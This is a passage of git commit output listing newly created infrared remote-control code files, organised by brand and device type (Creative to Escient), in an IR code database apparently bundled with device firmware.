assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Crestron/Music Server/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/D-LINK/Media Center/8,230.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/D-LINK/Media Center/8,231.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DLO/HomeDock/238,135.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DVDO/Scaler/0,45.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DVDO/Scaler/132,32.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DVDO/Video Processor/0,45.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DVDO/Video Processor/132,32.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Da Lite/Screen/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/TV/6,6.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Daewoo/VCR/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dell/TV/0,28.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dell/Video Projector/79,80.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/AV Processor/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/168,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/175,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/CD Player/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/DAT/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/176,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/2,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Processor/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Processor/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,3.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Processor/4,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/2,3.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,3.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,6.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,8.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/96,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/97,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Tuner/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Tuner/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Unknown/176,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/DSS/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/DVR/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown/12,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,12.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,3.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,31.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,6.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,12.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,3.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,6.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/16,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/24,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/4,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/4,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/8,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Draper/Screen/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Draper/Screen/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/10,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/11,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/25,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/26,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/41,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dwin/Plasma/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dwin/Projector/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dwin/TV/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dwin/Video Processor/7,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dwin/Video Projector/7,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/E Max/DVD Player/0,223.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/DSS/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/DVR/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/DVR/1,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/Dish Network/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/1,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/16,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/Satellite/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/DMX/100,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/DMX/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/DMX/96,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/DMX/99,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/HD/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/HD/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/HD/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/HD/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/HD/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/IR Router/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/IR Router/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/Jukebox/96,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/Master Controller/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/Tuner/129,115.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/Video Controller/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/1,241.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/255,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elmo/Camera/128,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elmo/Video Projector/132,132.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Elmo/Video Projector/134,134.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Emerson/TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Emerson/TV/135,34.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/40,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Epson/Projector/131,85.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Epson/Video Projector/131,85.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/CD 